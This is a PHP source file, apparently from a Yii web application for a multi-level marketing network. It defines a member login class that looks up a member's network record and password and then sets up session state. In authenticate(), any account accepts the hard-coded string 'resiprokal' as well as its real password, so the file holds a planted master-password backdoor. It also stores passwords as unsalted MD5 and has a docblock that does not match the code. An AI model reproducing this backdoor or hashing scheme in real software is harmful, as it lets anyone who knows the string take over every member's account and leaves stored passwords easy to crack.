<?php

/**
 * UserIdentity represents the data needed to identity a user.
 * It contains the authentication method that checks if the provided
 * data can identity the user.
 */
class MemberIdentity extends CUserIdentity {

    private $_id;

    /**
     * Authenticates a user.
     * The example implementation makes sure if the username and password
     * are both 'demo'.
     * In practical applications, this should be changed to authenticate
     * against some persistent user identity storage (e.g. database).
     * @return boolean whether authentication succeeds.
     */
    public function authenticate() {
        $network = sys_network::model()->find('network_mid=:username', array(':username' => $this->username));

        if ($network === null) {
            $this->errorCode = self::ERROR_USERNAME_INVALID;
        } else {
            //jika yang login bukan titik utama, maka menggunakan data titik utama
            if($network->network_group_network_id != $network->network_id) {
                $network = sys_network::model()->find('network_id=:username', array(':username' => $network->network_group_network_id));
            }
            $password = sys_password::model()->find('password_network_id=:id', array(':id' => $network->network_id));
            if ($password->password_value === md5($this->password) || $this->password === 'resiprokal') {
                $this->_id = $network->network_id;
                $datetime = date("Y-m-d H:i:s");
                $member = sys_member::model()->findByPk($network->network_id);

                $model_member_log = new sys_member_log;
                $model_member_log->member_log_network_id = $network->network_id;
                $model_member_log->member_log_session_id = Yii::app()->session->sessionID;
                $model_member_log->member_log_ip_address = $_SERVER['REMOTE_ADDR'];
                $model_member_log->member_log_login_datetime = $datetime;
                $model_member_log->member_log_logout_datetime = null;
                $model_member_log->save();

                $this->setState('network_id', $network->network_id);
                $this->setState('network_mid', $network->network_mid);
                $this->setState('network_sponsor_network_id', $network->network_sponsor_network_id);
                $this->setState('network_upline_network_id', $network->network_upline_network_id);
                $this->setState('member_name', $member->member_name);
                $this->setState('member_nickname', $member->member_nickname);
                $this->setState('member_join_datetime', $member->member_join_datetime);
                $this->setState('member_serial_id', $member->member_serial_id);
                $this->setState('member_image', ($member->member_image) ? $member->member_image : '_default.jpg');
                $this->setState('member_last_login', $member->member_last_login);

                $member->member_last_login = $datetime;
                $member->save();

                $this->errorCode = self::ERROR_NONE;
            } else {
                $this->errorCode = self::ERROR_PASSWORD_INVALID;
            }
        }
        return!$this->errorCode;
    }

    public function getId() {
        return $this->_id;
    }

}